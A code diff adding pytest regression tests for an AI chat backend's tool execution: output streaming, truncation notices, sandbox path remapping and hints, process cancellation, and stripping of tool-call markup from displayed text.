+def test_gguf_loop_final_tool_message_unchanged_by_streaming(monkeypatch):
+    result_text = "hi\nline 2\n"
+
+    def plain_tool(name, arguments, **_kwargs):
+        return result_text
+
+    def streaming_tool(
+        name,
+        arguments,
+        output_callback = None,
+        **_kwargs,
+    ):
+        if output_callback is not None:
+            output_callback("hi\n")
+            output_callback("line 2\n")
+        return result_text
+
+    events_plain, payloads_plain = _run_gguf_tool_turn(monkeypatch, plain_tool)
+    events_streaming, payloads_streaming = _run_gguf_tool_turn(monkeypatch, streaming_tool)
+
+    def _tool_messages(payloads):
+        return [
+            msg for payload in payloads for msg in payload["messages"] if msg.get("role") == "tool"
+        ]
+
+    # The role=tool message fed to the model is byte-identical: streaming is purely
+    # observational and must not perturb parsing/nudging/healing.
+    assert _tool_messages(payloads_streaming) == _tool_messages(payloads_plain)
+    assert _tool_messages(payloads_streaming) == [
+        {
+            "role": "tool",
+            "name": "python",
+            "content": result_text,
+            "tool_call_id": "call_1",
+        }
+    ]
+
+    # tool_end results match too.
+    ends_plain = [e for e in events_plain if e["type"] == "tool_end"]
+    ends_streaming = [e for e in events_streaming if e["type"] == "tool_end"]
+    assert [e["result"] for e in ends_streaming] == [e["result"] for e in ends_plain]
+
+
+def test_gguf_loop_emits_tool_output_between_start_and_end(monkeypatch):
+    def streaming_tool(
+        name,
+        arguments,
+        output_callback = None,
+        **_kwargs,
+    ):
+        if output_callback is not None:
+            output_callback("progress 1\n")
+            output_callback("progress 2\n")
+        return "progress 1\nprogress 2\n"
+
+    events, _payloads = _run_gguf_tool_turn(monkeypatch, streaming_tool)
+    types = [e["type"] for e in events]
+    assert "tool_output" in types
+    start_idx = types.index("tool_start")
+    end_idx = types.index("tool_end")
+    output_indices = [i for i, t in enumerate(types) if t == "tool_output"]
+    assert all(start_idx < i < end_idx for i in output_indices)
+    streamed = "".join(e["text"] for e in events if e["type"] == "tool_output")
+    assert streamed == "progress 1\nprogress 2\n"
+    for e in events:
+        if e["type"] == "tool_output":
+            assert e["tool_name"] == "python"
+            assert e["tool_call_id"] == "call_1"
+
+
+def test_gguf_loop_plain_tool_yields_no_tool_output(monkeypatch):
+    def plain_tool(name, arguments, **_kwargs):
+        return "quiet"
+
+    events, _payloads = _run_gguf_tool_turn(monkeypatch, plain_tool)
+    assert [e for e in events if e["type"] == "tool_output"] == []
+
+
+# ── result truncation notice, env cap, missing-path healing ──────
+
+import os as _os
+import uuid as _uuid
+
+from core.inference.tools import (
+    PYTHON_TOOL,
+    TERMINAL_TOOL,
+    _MAX_OUTPUT_CHARS,
+    _env_int,
+    _missing_path_hint,
+    _truncate,
+    get_sandbox_workdir,
+)
+
+
+def test_truncate_notice_is_neutral_and_mentions_workdir():
+    out = _truncate("y" * 50, limit = 10)
+    assert out.startswith("y" * 10)
+    assert "truncated" in out and "50 chars total" in out
+    assert "persist in the working directory" in out
+    # The notice must NOT claim the user saw the output: this wrapper also serves
+    # non-streaming callers where no output_callback delivers anything.
+    assert "the user was shown the full output" not in out
+    assert "shown" not in out
+    # Under the limit: untouched.
+    assert _truncate("short", limit = 10) == "short"
+
+
+def test_truncated_result_identical_and_notice_neutral_with_streaming():
+    # The truncation notice must be byte-identical with and without an
+    # output_callback (the streaming vs non-streaming invariant a mode-dependent
+    # notice would break) and must not claim the user was shown the full output.
+    code = f"print('x' * {_MAX_OUTPUT_CHARS + 5000})"
+    baseline = _python_exec(code, timeout = 60)
+    streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+    assert streamed == baseline
+    assert "truncated" in baseline
+    assert "the user was shown the full output" not in baseline
+    assert "persist in the working directory" in baseline
+
+
+def test_result_cap_env_override(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_TOOL_RESULT_MAX_CHARS", raising = False)
+    assert _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000) == 16000
+    monkeypatch.setenv("UNSLOTH_TOOL_RESULT_MAX_CHARS", "50000")
+    assert _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000) == 50000
+    # Garbage and non-positive values fall back to the default.
+    monkeypatch.setenv("UNSLOTH_TOOL_RESULT_MAX_CHARS", "lots")
+    assert _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000) == 16000
+    monkeypatch.setenv("UNSLOTH_TOOL_RESULT_MAX_CHARS", "-5")
+    assert _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000) == 16000
+
+
+def test_missing_path_hint_detection():
+    err = "FileNotFoundError: [Errno 2] No such file or directory: '/mnt/data/x.html'"
+    hint = _missing_path_hint(err)
+    assert "working directory is writable" in hint
+    assert "relative path" in hint
+    # The hint echoes the actual failing path, not a canned example.
+    assert "'x.html', not '/mnt/data/x.html'" in hint
+    # A failure on a local path gets no hint.
+    assert _missing_path_hint("FileNotFoundError: 'local.txt'") == ""
+    # Mentioning /mnt/data without a file error gets no hint.
+    assert _missing_path_hint("saved to /mnt/data, all good") == ""
+    assert _missing_path_hint("") == ""
+
+
+def test_missing_path_hint_generalizes_beyond_convention_prefixes():
+    # A hallucinated absolute path outside the enumerated prefixes still earns the
+    # hint, echoing that path.
+    err = (
+        "FileNotFoundError: [Errno 2] No such file or directory: "
+        "'/home/ubuntu/Sandbox/flappy_bird.html'"
+    )
+    hint = _missing_path_hint(err)
+    assert "working directory is writable" in hint
+    assert "'flappy_bird.html', not '/home/ubuntu/Sandbox/flappy_bird.html'" in hint
+    # A bash-style error on an absolute path outside the workdir is echoed too.
+    bash_err = "cat: /var/data/report.csv: No such file or directory"
+    assert "'report.csv', not '/var/data/report.csv'" in _missing_path_hint(bash_err)
+
+
+def test_missing_path_hint_respects_project_workdir():
+    # Project-backed sessions run under a root OUTSIDE ~/studio_sandbox. A legitimate
+    # miss INSIDE that project workspace must not be misclassified as an external
+    # habit path and flattened to its basename; judged against the real workdir it
+    # gets no hint. The fabricated paths carry no convention prefix, so only the
+    # workdir judgement decides.
+    workdir = "/srv/projroot/session_area"
+    missing = "/srv/projroot/session_area/data/missing.csv"
+    output = f"FileNotFoundError: [Errno 2] No such file or directory: '{missing}'"
+    # Against the static sandbox root (no workdir) it looks external and wrongly earns the hint.
+    assert "working directory is writable" in _missing_path_hint(output)
+    # Against the real project workdir it is local -> no hint.
+    assert _missing_path_hint(output, workdir) == ""
+    # A path genuinely outside the project workdir still earns the hint.
+    outside_err = "FileNotFoundError: [Errno 2] No such file or directory: '/srv/other/x.html'"
+    assert "working directory is writable" in _missing_path_hint(outside_err, workdir)
+
+
+def test_missing_path_hint_project_workdir_under_convention_prefix():
+    # A project workdir can live under a convention prefix like /workspace (common in
+    # containers). A genuine miss INSIDE it carries the "/workspace" substring but is
+    # a real local path, not a habit path: the convention fast path must not fire and
+    # flatten it to a bare basename (which would drop the project subdirectory).
+    workdir = "/workspace/proj"
+    nested = "/workspace/proj/sub/data.csv"
+    output = f"FileNotFoundError: [Errno 2] No such file or directory: '{nested}'"
+    # Against the real project workdir the miss is local -> no hint, so
+    # /workspace/proj/sub is not flattened away.
+    assert _missing_path_hint(output, workdir) == ""
+    # A miss at the project root itself is likewise local.
+    at_root = "/workspace/proj/data.csv"
+    root_output = f"FileNotFoundError: [Errno 2] No such file or directory: '{at_root}'"
+    assert _missing_path_hint(root_output, workdir) == ""
+    # A convention path genuinely outside the project workdir still earns the
+    # hint (e.g. a /mnt/data habit path with a /workspace-rooted project).
+    outside = "FileNotFoundError: [Errno 2] No such file or directory: '/mnt/data/x.html'"
+    assert "'x.html', not '/mnt/data/x.html'" in _missing_path_hint(outside, workdir)
+    # Without an explicit workdir the default sandbox root applies, so a
+    # /workspace path is out of sandbox and keeps the habit-path hint.
+    assert "working directory is writable" in _missing_path_hint(root_output)
+
+
+def test_missing_path_hint_convention_scoped_to_failing_line():
+    # A convention prefix appearing only OUTSIDE the failing-path line (a traceback
+    # frame under /workspace, or the user's code printing /mnt/data) must not trigger
+    # the hint when the actual miss was a relative / in-workdir path.
+    frame_err = (
+        "Traceback (most recent call last):\n"
+        '  File "/workspace/proj/script.py", line 5, in <module>\n'
+        "    open('data.csv')\n"
+        "FileNotFoundError: [Errno 2] No such file or directory: 'data.csv'"
+    )
+    assert _missing_path_hint(frame_err) == ""
+    printed_err = (
+        "outputs go to /mnt/data normally\n"
+        "FileNotFoundError: [Errno 2] No such file or directory: 'notes.txt'"
+    )
+    assert _missing_path_hint(printed_err) == ""
+    # But a convention path ON the error line still earns the hint.
+    on_line = "FileNotFoundError: [Errno 2] No such file or directory: '/mnt/data/x.html'"
+    assert "'x.html', not '/mnt/data/x.html'" in _missing_path_hint(on_line)
+
+
+def test_code_tool_descriptions_mention_relative_paths():
+    for tool in (PYTHON_TOOL, TERMINAL_TOOL):
+        description = tool["function"]["description"]
+        assert "relative paths" in description
+        assert "/mnt/data" in description
+
+
+def test_python_exec_mnt_data_open_is_remapped_into_workdir():
+    # The shim remaps open()/os.makedirs() on /mnt/data into the sandbox CWD and
+    # prints a one-line stderr notice, identically with and without streaming.
+    fname = f"remap_{_uuid.uuid4().hex}.txt"
+    code = (
+        "import os\n"
+        "os.makedirs('/mnt/data', exist_ok=True)\n"
+        f"with open('/mnt/data/{fname}', 'w') as f:\n"
+        "    f.write('hello remap')\n"
+        f"print(open('/mnt/data/{fname}').read())\n"
+    )
+    target = _os.path.join(get_sandbox_workdir(), fname)
+    try:
+        baseline = _python_exec(code, timeout = 60)
+        assert _os.path.isfile(target), baseline
+        with open(target) as f:
+            assert f.read() == "hello remap"
+        assert "hello remap" in baseline
+        assert "/mnt/data does not exist in this sandbox" in baseline
+        _os.remove(target)
+        streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+        assert streamed == baseline
+        assert _os.path.isfile(target)
+    finally:
+        if _os.path.exists(target):
+            _os.remove(target)
+
+
+def test_python_exec_pathlib_write_text_is_remapped_into_workdir():
+    # pathlib.Path.open / write_text / read_text call io.open directly,
+    # bypassing the builtins.open patch, so the shim must remap io.open too.
+    fname = f"remap_{_uuid.uuid4().hex}.txt"
+    code = (
+        "from pathlib import Path\n"
+        f"p = Path('/mnt/data/{fname}')\n"
+        "p.write_text('pathlib remap')\n"
+        "print(p.read_text())\n"
+    )
+    target = _os.path.join(get_sandbox_workdir(), fname)
+    try:
+        baseline = _python_exec(code, timeout = 60)
+        assert _os.path.isfile(target), baseline
+        with open(target) as f:
+            assert f.read() == "pathlib remap"
+        assert "pathlib remap" in baseline
+        assert "/mnt/data does not exist in this sandbox" in baseline
+        _os.remove(target)
+        streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+        assert streamed == baseline
+        assert _os.path.isfile(target)
+    finally:
+        if _os.path.exists(target):
+            _os.remove(target)
+
+
+def test_python_exec_hallucinated_absolute_write_is_remapped_into_workdir():
+    # The model invents an absolute path outside the enumerated prefixes and opens
+    # it for writing; the write-mode fallback redirects it to the basename in the
+    # sandbox workdir instead of dying with FileNotFoundError.
+    fname = f"remap_{_uuid.uuid4().hex}.html"
+    hallucinated = f"/nonexistent_root_xyz/Sandbox/{fname}"
+    # Read-back goes through the mapped basename: reads are never redirected, only
+    # the write is healed.
+    code = (
+        f"with open('{hallucinated}', 'w') as f:\n"
+        "    f.write('hello fallback')\n"
+        f"print(open('{fname}').read())\n"
+    )
+    target = _os.path.join(get_sandbox_workdir(), fname)
+    try:
+        baseline = _python_exec(code, timeout = 60)
+        assert _os.path.isfile(target), baseline
+        with open(target) as f:
+            assert f.read() == "hello fallback"
+        assert "hello fallback" in baseline
+        assert "does not exist in this sandbox" in baseline
+        _os.remove(target)
+        streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+        assert streamed == baseline
+        assert _os.path.isfile(target)
+    finally:
+        if _os.path.exists(target):
+            _os.remove(target)
+
+
+def test_python_exec_unremapped_mnt_data_failure_gets_hint():
+    # os.listdir is deliberately not remapped: the failure carries the retry hint
+    # instead, identically with and without streaming.
+    import re as _re
+
+    code = "import os\nos.listdir('/mnt/data/nonexistent_dir_xyz')\n"
+    baseline = _python_exec(code, timeout = 60)
+    assert "FileNotFoundError" in baseline
+    assert "working directory is writable" in baseline
+    streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+
+    # Normalize each run's random temp filename (byte-identity is per-execution).
+    def normalize(text: str) -> str:
+        return _re.sub(r"studio_exec_\w+\.py", "studio_exec.py", text)
+
+    assert normalize(streamed) == normalize(baseline)
+
+
+def test_bash_exec_missing_path_hint():
+    baseline = _bash_exec("cat /mnt/data/definitely_missing.txt", timeout = 60)
+    assert "No such file or directory" in baseline
+    assert "working directory is writable" in baseline
+    streamed = _bash_exec(
+        "cat /mnt/data/definitely_missing.txt", timeout = 60, output_callback = lambda _t: None
+    )
+    assert streamed == baseline
+
+
+def test_bash_exec_local_failure_gets_no_hint():
+    result = _bash_exec("cat definitely_missing_local_file.txt", timeout = 60)
+    assert "No such file or directory" in result
+    assert "working directory is writable" not in result
+
+
+def test_producer_queue_is_bounded_under_tight_print_loop(monkeypatch):
+    # The consumer-side cap only bounds the concatenated stream; a fast worker can
+    # still enqueue unboundedly while the SSE consumer is backpressured. The producer
+    # boundary now discards callbacks past the cap so the queue cannot grow without
+    # limit (finding 12).
+    import queue as _queue
+
+    from core.inference import tool_stream_exec
+
+    observed = []
+
+    class _TrackingQueue(_queue.Queue):
+        def put(self, *args, **kwargs):
+            result = super().put(*args, **kwargs)
+            observed.append(self.qsize())
+            return result
+
+    monkeypatch.setattr(tool_stream_exec.queue, "Queue", _TrackingQueue)
+
+    def tool(callback):
+        for _ in range(200_000):
+            callback("x")
+        return "done"
+
+    events, result = _run_stream(tool, tool_name = "python")
+    assert result == "done"
+    # At most cap + 1 chars enter the queue, so 1-char items cannot exceed that
+    # regardless of consumer lag.
+    assert observed
+    assert max(observed) <= TOOL_OUTPUT_STREAM_MAX_CHARS + 2
+
+
+def test_continuous_over_cap_output_does_not_starve_heartbeats():
+    # Once the cap is tripped, a continuously producing tool must not spin the drain
+    # forever with no heartbeat: callbacks past the budget never enter the queue, so
+    # the idle heartbeat path resumes (finding 13).
+    release = threading.Event()
+
+    def tool(callback):
+        callback("x" * (TOOL_OUTPUT_STREAM_MAX_CHARS + 10))  # trip the cap
+        while not release.is_set():
+            callback("spam")  # discarded at the producer boundary
+        return "done"
+
+    watchdog = threading.Timer(8.0, release.set)
+    watchdog.start()
+    gen = stream_tool_execution(
+        tool,
+        tool_name = "python",
+        heartbeat_interval_s = 0.04,
+        poll_interval_s = 0.02,
+    )
+    events = []
+    result = None
+    try:
+        while True:
+            event = next(gen)
+            events.append(event)
+            if len([e for e in events if e["type"] == "heartbeat"]) >= 2:
+                release.set()
+    except StopIteration as stop:
+        result = stop.value
+    finally:
+        release.set()
+        watchdog.cancel()
+    assert result == "done"
+    assert len([e for e in events if e["type"] == "heartbeat"]) >= 2
+
+
+def test_accepts_output_callback_signature_detection():
+    from core.inference.tool_stream_exec import accepts_output_callback
+
+    def legacy(
+        name,
+        arguments,
+        cancel_event = None,
+        timeout = None,
+    ):
+        return "ok"
+
+    def modern(
+        name,
+        arguments,
+        output_callback = None,
+    ):
+        return "ok"
+
+    def kwargs_only(name, arguments, **kw):
+        return "ok"
+
+    assert accepts_output_callback(legacy) is False
+    assert accepts_output_callback(modern) is True
+    assert accepts_output_callback(kwargs_only) is True
+    # Uninspectable callables (e.g. some builtins) fall back to not-supported.
+    assert accepts_output_callback(len) is False
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_bash_exec_nonstreaming_cancel_kills_grandchild_after_leader_exit(tmp_path):
+    # NON-streaming cancellation: the leader exits at once while a grandchild holds
+    # stdout. The cancel watcher loops on the leader's poll() and is gone, so before
+    # the fix communicate() blocked until the grandchild finished. The unified drain
+    # kills the captured group on cancel instead.
+    sentinel = tmp_path / "grandchild_ran"
+    command = f"( sleep 3; touch '{sentinel}' ) & echo parent-done"
+    cancel_event = threading.Event()
+    timer = threading.Timer(0.5, cancel_event.set)
+    timer.start()
+    started = time.monotonic()
+    try:
+        result = _bash_exec(command, cancel_event = cancel_event, timeout = 30)
+    finally:
+        timer.cancel()
+    assert time.monotonic() - started < 2.5
+    assert result == "Execution cancelled."
+    time.sleep(3.5)
+    assert not sentinel.exists(), "non-streaming cancel leaked a stdout-holding grandchild"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_python_exec_nonstreaming_cancel_kills_grandchild_after_leader_exit(tmp_path):
+    sentinel = tmp_path / "grandchild_ran"
+    code = (
+        "import subprocess\n"
+        f"subprocess.Popen(['bash', '-c', \"sleep 3; touch '{sentinel}'\"])\n"
+        "print('parent-done')\n"
+    )
+    cancel_event = threading.Event()
+    timer = threading.Timer(0.5, cancel_event.set)
+    timer.start()
+    started = time.monotonic()
+    try:
+        result = _python_exec(code, cancel_event = cancel_event, timeout = 30)
+    finally:
+        timer.cancel()
+    assert time.monotonic() - started < 2.5
+    assert result == "Execution cancelled."
+    time.sleep(3.5)
+    assert not sentinel.exists(), "non-streaming cancel leaked a stdout-holding grandchild"
diff --git a/studio/backend/tests/test_tool_stream_generator_drain.py b/studio/backend/tests/test_tool_stream_generator_drain.py
new file mode 100644
index 0000000000..e1d751ab09
--- /dev/null
+++ b/studio/backend/tests/test_tool_stream_generator_drain.py
@@ -0,0 +1,83 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for generator-close cleanup in the tool-streaming routes.
+
+Tool streams run ``next(gen)`` in an ``asyncio.to_thread`` worker. Closing the
+generator while that worker is still inside ``next`` raises ``ValueError:
+generator already executing`` and skips the generator's ``finally`` (tool
+cleanup); the routes drain the pending task first (``_drain_pending_next_task``),
+which these tests exercise.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import threading
+
+import pytest
+
+from routes.inference import _drain_pending_next_task
+
+
+def test_drain_before_close_avoids_generator_already_executing():
+    cancel_event = threading.Event()
+    entered = threading.Event()
+    finally_ran = threading.Event()
+
+    def blocking_gen():
+        try:
+            entered.set()
+            # Blocking call inside next(gen) that respects the cancel flag.
+            cancel_event.wait()
+            yield "value"
+        finally:
+            finally_ran.set()
+
+    async def scenario():
+        gen = blocking_gen()
+        next_task = asyncio.create_task(asyncio.to_thread(next, gen, object()))
+        await asyncio.to_thread(entered.wait)  # worker now inside next(gen)
+
+        # Closing mid-next races and raises, leaving the finally unrun.
+        with pytest.raises(ValueError):
+            gen.close()
+        assert not finally_ran.is_set()
+
+        # Draining sets the cancel flag so the worker returns; then close is
+        # clean and the generator's finally runs.
+        await _drain_pending_next_task(next_task, cancel_event)
+        gen.close()
+        return
+
+    asyncio.run(scenario())
+    assert finally_ran.is_set()
+
+
+def test_drain_pending_next_task_is_noop_without_task():
+    # None (task already consumed): draining is a no-op, cancel flag untouched.
+    cancel_event = threading.Event()
+
+    asyncio.run(_drain_pending_next_task(None, cancel_event))
+    assert not cancel_event.is_set()
+
+
+def test_drain_pending_next_task_returns_when_worker_finishes():
+    # A worker finishing on its own drains without error; the cancel flag stays
+    # set (the caller is tearing the stream down).
+    cancel_event = threading.Event()
+    release = threading.Event()
+
+    def gen():
+        release.wait()
+        yield "done"
+
+    async def scenario():
+        g = gen()
+        task = asyncio.create_task(asyncio.to_thread(next, g, object()))
+        release.set()  # let the worker complete before draining
+        await _drain_pending_next_task(task, cancel_event)
+        assert task.done()
+
+    asyncio.run(scenario())
+    assert cancel_event.is_set()
diff --git a/studio/backend/tests/test_tool_strip_guard.py b/studio/backend/tests/test_tool_strip_guard.py
new file mode 100644
index 0000000000..dfa3101882
--- /dev/null
+++ b/studio/backend/tests/test_tool_strip_guard.py
@@ -0,0 +1,76 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""strip_tool_patterns must match the plain per-pattern loop while skipping the
+quadratic no-match rescan of a closed-pair sweep whose close token is absent."""
+
+import random
+import sys
+import time
+from pathlib import Path
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+from core.tool_healing import (
+    _TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS,
+    strip_tool_call_markup,
+    strip_tool_patterns,
+)
+
+
+def _naive(text, patterns):
+    for pat in patterns:
+        text = pat.sub("", text)
+    return text
+
+
+_TOKENS = [
+    "<tool_call>",
+    "</tool_call>",
+    "<|tool_call>",
+    "<tool_call|>",
+    "<function=x>",
+    "<function=mcp__s__a-b>",
+    "</function>",
+    "<parameter=p>",
+    "</parameter>",
+    "call:fn{",
+    "}",
+    "{",
+    '<|"|>',
+    "A",
+    " ",
+    "\n",
+    "id",
+    "x:1",
+    "</tool",
+    "call>",
+]
+
+
+def test_guard_matches_plain_loop_on_fuzz():
+    rng = random.Random(1234)
+    for patterns in (_TOOL_ALL_PATS, _TOOL_CLOSED_PATS):
+        for _ in range(20000):
+            s = "".join(rng.choice(_TOKENS) for _ in range(rng.randint(0, 10)))
+            assert strip_tool_patterns(s, patterns) == _naive(s, patterns), (s, patterns)
+
+
+def test_strip_markup_representative_cases_unchanged():
+    assert strip_tool_call_markup("a <tool_call>{}</tool_call> b") == "a  b"
+    assert strip_tool_call_markup("a <function=x><parameter=p>1</parameter></function> b") == "a  b"
+    # Non-final keeps an unclosed block; final strips it to EOF.
+    assert strip_tool_call_markup("a <tool_call>{partial") == "a <tool_call>{partial"
+    assert strip_tool_call_markup("a <tool_call>{partial", final = True) == "a"
+
+
+def test_no_quadratic_blowup_on_unclosed_markers():
+    # Unguarded, this took minutes.
+    big = "<tool_call>" * 20000 + "<function=x>" * 20000
+    t0 = time.perf_counter()
+    out = strip_tool_call_markup(big, final = True)
+    assert time.perf_counter() - t0 < 2.0
+    assert out == ""
diff --git a/studio/backend/tests/test_tool_xml_strip.py b/studio/backend/tests/test_tool_xml_strip.py
index c2dc1fe8db..f7792a2a71 100644
--- a/studio/backend/tests/test_tool_xml_strip.py
+++ b/studio/backend/tests/test_tool_xml_strip.py
@@ -24,17 +24,74 @@ import re as _re
 _src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text()
 _m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL)
 assert _m, "could not extract _TOOL_XML_RE source"
-_ns = {"_re": _re}
+# The lazy ``(.*?)\n\)`` could grab a shorter expression if an arm is ever wrapped;
+# pin the DeepSeek + bare-Kimi arms so a silent truncation fails loudly here.
+assert "_DS_OPEN_SRC" in _m.group(1) and "tool_call_begin" in _m.group(
+    1
+), "extracted _TOOL_XML_RE is missing expected arms (extraction truncated?)"
+# The regex reuses the parser's shared DeepSeek opener alternation; provide it so the extracted
+# ``_re.compile`` expression resolves the same source.
+from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+from core.inference.tool_call_parser import (
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+)
+
+from typing import Optional as _Optional
+
+_ns = {
+    "_re": _re,
+    "_DS_OPEN_SRC": _DS_OPEN_SRC,
+    "Optional": _Optional,
+    "_strip_mistral_closed_calls": _strip_mistral_closed_calls,
+    "_strip_gemma_wrapperless_calls": _strip_gemma_wrapperless_calls,
+    "_strip_glm_calls": _strip_glm_calls,
+    "_strip_function_xml_calls": _strip_function_xml_calls,
+}
 exec(f"_TOOL_XML_RE = _re.compile({_m.group(1)})", _ns)
 _TOOL_XML_RE = _ns["_TOOL_XML_RE"]
-_helper = _re.search(
-    r"def _strip_tool_xml_for_display\(text: str, \*, auto_heal_tool_calls: bool\) -> str:\n"
-    r"(?:    .+\n)+",
+# The display helper uses the closed-only variant before the last think block; keep it in scope.
+_mc = _re.search(r"_TOOL_XML_CLOSED_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL)
+assert _mc, "could not extract _TOOL_XML_CLOSED_RE source"
+exec(f"_TOOL_XML_CLOSED_RE = _re.compile({_mc.group(1)})", _ns)
+_TOOL_XML_CLOSED_RE = _ns["_TOOL_XML_CLOSED_RE"]
+
+# Signatures may span multiple lines and now carry the enabled_tool_names gate; match
+# the whole (possibly multi-line) signature up to ``-> str:`` then the indented body.
+_xml_helper = _re.search(
+    r"def _strip_tool_xml\((?:.|\n)*?\) -> str:\n(?:    .+\n)+",
     _src,
 )
-assert _helper, "could not extract _strip_tool_xml_for_display source"
+assert _xml_helper, "could not extract _strip_tool_xml source"
+assert "_strip_mistral_closed_calls" in _xml_helper.group(
+    0
+), "extracted _strip_tool_xml no longer runs the Mistral balanced strip"
+exec(_xml_helper.group(0), _ns)
+_strip_tool_xml = _ns["_strip_tool_xml"]
+
+# Extract the gate helper and display strip up to the next top-level ``logger =``.
+_helper = _re.search(
+    r"def _display_tool_name_gate\(.*?(?=\nlogger = get_logger)",
+    _src,
+    _re.DOTALL,
+)
+assert _helper, "could not extract display strip helper source"
+# The extracted block spans _display_tool_name_gate through _strip_tool_xml (defined before
+# ``logger =``); confirm the shared _strip_tool_xml delegate is present.
+assert "_strip_tool_xml(" in _helper.group(0), "display helper no longer delegates"
 exec(_helper.group(0), _ns)
 _strip_tool_xml_for_display = _ns["_strip_tool_xml_for_display"]
+_display_tool_name_gate = _ns["_display_tool_name_gate"]
+
+_gate_src = _re.search(
+    r"def _gemma_strip_gate\((?:.|\n)*?\) -> set:\n(?:    .+\n)+",
+    _src,
+)
+assert _gate_src, "could not extract _gemma_strip_gate source"
+exec(_gate_src.group(0), _ns)
+_gemma_strip_gate = _ns["_gemma_strip_gate"]
 
 
 # ── Well-formed pairs ─────────────────────────────────────────────
@@ -46,6 +103,66 @@ def test_route_display_strip_respects_disabled_auto_heal_contract():
     assert "<tool_call>" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
 
 
+def test_route_display_strip_preserves_rehearsal_inside_think():
+    # A rehearsed bracket call inside think is reasoning: the block is preserved while a real
+    # call outside it still strips.
+    text = '<think>plan: search[ARGS]{"q":"x"}</think> answer [TOOL_CALLS]web_search{"q":"y"} tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert '<think>plan: search[ARGS]{"q":"x"}</think>' in out
+    assert "[TOOL_CALLS]web_search" not in out
+    assert "answer" in out and "tail" in out
+
+
+def test_route_display_strip_keeps_bare_args_before_think_block():
+    # A bare ``foo[ARGS]`` before a think block is prose: EOS-anchored tail arms run only on
+    # the last segment (earlier segments use the closed-only regex).
+    text = "Please pass foo[ARGS] <think>pause</think> to the template."
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) == text
+
+
+def test_route_display_strip_removes_complete_call_before_think_block():
+    # A complete bracket call before a think block still strips (balanced scan runs on every segment).
+    text = 'before search[ARGS]{"q":"x"} <think>pause</think> after'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "search[ARGS]" not in out
+    assert "<think>pause</think>" in out
+    assert "before" in out and "after" in out
+
+
+def test_route_display_strip_removes_closed_xml_before_think_block():
+    # A closed <tool_call> before a think block is removed in the non-last segment.
+    text = 'pre <tool_call>{"name":"x"}</tool_call> <think>p</think> tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "<tool_call>" not in out
+    assert "<think>p</think>" in out
+    assert "pre" in out and "tail" in out
+
+
+def test_all_route_cleanup_sites_use_protected_display_helper():
+    # Every route cleanup site must use _strip_tool_xml_for_display (think-preserving,
+    # balanced); raw _TOOL_XML_RE.sub corrupted think rehearsal and trailing prose. The only
+    # legitimate raw sub lives inside the helper itself.
+    raw_sub_lines = [
+        (i, line)
+        for i, line in enumerate(_src.splitlines(), 1)
+        if "_TOOL_XML_RE.sub(" in line and not line.lstrip().startswith("#")
+    ]
+    assert len(raw_sub_lines) == 1, (
+        "raw _TOOL_XML_RE.sub must appear only inside _strip_tool_xml_for_display; "
+        f"found extra call sites: {raw_sub_lines!r}"
+    )
+
+
+def test_route_display_strip_removes_mistral_tool_calls_with_nested_json():
+    # _TOOL_XML_RE has no [TOOL_CALLS] arm, so the helper delegates to _strip_tool_xml for the Mistral
+    # balanced-brace strip (a non-greedy \{.*?\} would truncate nested JSON).
+    text = 'ok [TOOL_CALLS]web_search{"filters":{"date":"2024"},"query":"cats"} tail'
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "web_search" not in out, out
+    assert out == "ok  tail"
+
+
 def test_strips_well_formed_tool_call():
     text = (
         "Let me search.\n"
@@ -73,6 +190,26 @@ def test_strips_function_only_well_formed():
     assert "Done." in cleaned
 
 
+def test_strips_function_attribute_form():
+    # Attribute form ``<function name="...">`` (MiniCPM-5 / MiniMax-M2) must strip from the route too
+    # (it previously leaked into the UI); a dotted/hyphenated name also strips.
+    text = (
+        'Sure.\n<function name="get_weather">\n'
+        "<parameter=city>\nSydney\n</parameter>\n</function>\nDone."
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "<function name=" not in cleaned
+    assert "</function>" not in cleaned
+    assert "Sure." in cleaned and "Done." in cleaned
+
+    dotted = 'A <function name="srv.list-issues">x</function> B'
+    assert _TOOL_XML_RE.sub("", dotted) == "A  B"
+
+    # Auto-Heal-disabled display contract still preserves literal markup.
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text
+    assert "<function name=" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+
+
